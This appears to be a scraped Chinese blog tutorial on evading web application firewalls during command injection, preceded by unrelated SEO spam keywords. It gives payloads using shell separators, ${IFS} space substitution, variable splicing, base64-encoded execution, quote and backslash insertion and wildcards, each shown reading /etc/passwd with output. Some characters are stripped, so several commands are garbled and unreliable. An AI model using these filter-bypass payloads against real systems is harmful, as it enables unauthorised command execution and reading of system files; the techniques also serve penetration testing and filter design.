成都网站快照优化公司,云信智联商丘网站建设,wordpress插件自动,潢川城乡建设局网站WAF绕过命令执行 1 命令分隔符2 命令执行绕过2.1 绕过空格2.2 拼接2.3 编码2.4 单引号、双引号绕过2.5 反斜线绕过2.6 通配符绕过 1 命令分隔符 linux#xff1a; || | ; # 绕过
[rootlocalhost ~]# echo 123 cat /etc/passwd
123
root:… WAF绕过命令执行 1 命令分隔符2 命令执行绕过2.1 绕过空格2.2 拼接2.3 编码2.4 单引号、双引号绕过2.5 反斜线绕过2.6 通配符绕过 1 命令分隔符 linux || | ; # 绕过
[rootlocalhost ~]# echo 123 cat /etc/passwd
123
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
# ||绕过
[rootlocalhost ~]# xxx||cat /etc/passwd
-bash: xxx: 未找到命令
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
...
# 绕过
echo 123cat /etc/passwd
[1] 6643
123
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
...
#分号;在shell中担任连续指令的功能echo 123;cat /etc/passwd
123
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
...2 命令执行绕过
2.1 绕过空格 ${IFS} $IFS$9 # 9 可改成 9可改成 9可改成加其他数字 示例
echo${IFS}123
123${IFS}后面可以跟多个$1至$9、$、$*等等命令正常执行
echo${IFS}$1123
123
echo${IFS}$8$9$2123
123重定向符
cat/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin{cat,flag.php} #用逗号,实现了空格功能
{cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin2.2 拼接 #在linux系统中 ag;cat fla$a.php afl;bag.php;cat a a ab 示例
acat;b/etc/;cpasswd
rootubuntu2204-186:/software/hidsagent-0.1.6# $a${IFS}$b$c
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
2.3 编码
示例
echo cat${IFS}/etc/passwd |base64
Y2F0IAkKL2V0Yy9wYXNzd2QK
$(echo Y2F0IAkKL2V0Yy9wYXNzd2QK|base64 -d)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
2.4 单引号、双引号绕过
示例
#单引号、双引号存在关键字任何位置都可以
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologincat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
2.5 反斜线绕过 cat /e\tc/passwd 示例
cat \/e\tc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
备注cp、mv等之类需要交互输入yes的命令加上反斜线、单双引号都可以成为面交互形式(ubuntu cp、mv命令可以面交互执行多次)
[rootlocalhost ~]# cp test1.txt /opt/
[rootlocalhost ~]# cp test1.txt /opt/
cp是否覆盖/opt/test1.txt n
[rootlocalhost ~]# c\p test1.txt /opt/
[rootlocalhost ~]# \cp test1.txt /opt/
[rootlocalhost ~]# cp test1.txt /opt/
[rootlocalhost ~]# cp test1.txt /opt/
[rootlocalhost ~]# cp test1.txt /opt/
[rootlocalhost ~]# cp test1.txt /opt/
[rootlocalhost ~]# cp test1.txt /opt/2.6 通配符绕过 * 代表『 0 个到无穷多个』任意字符
? 代表『一定有一个』任意字符
[ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符 可能是 a, b, c, d 这四个任何一个』
[ - ] 若有减号在中括号内时代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字因为数字的语系编码是连续的
[^ ] 若中括号内的第一个字符为指数符号 (^) 那表示『反向选择』例如 [^abc] 代表 一定有一个字符只要是非 a, b, c 的其他字符就接受的意思。示例
/?in/cat /?tc/p?sswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin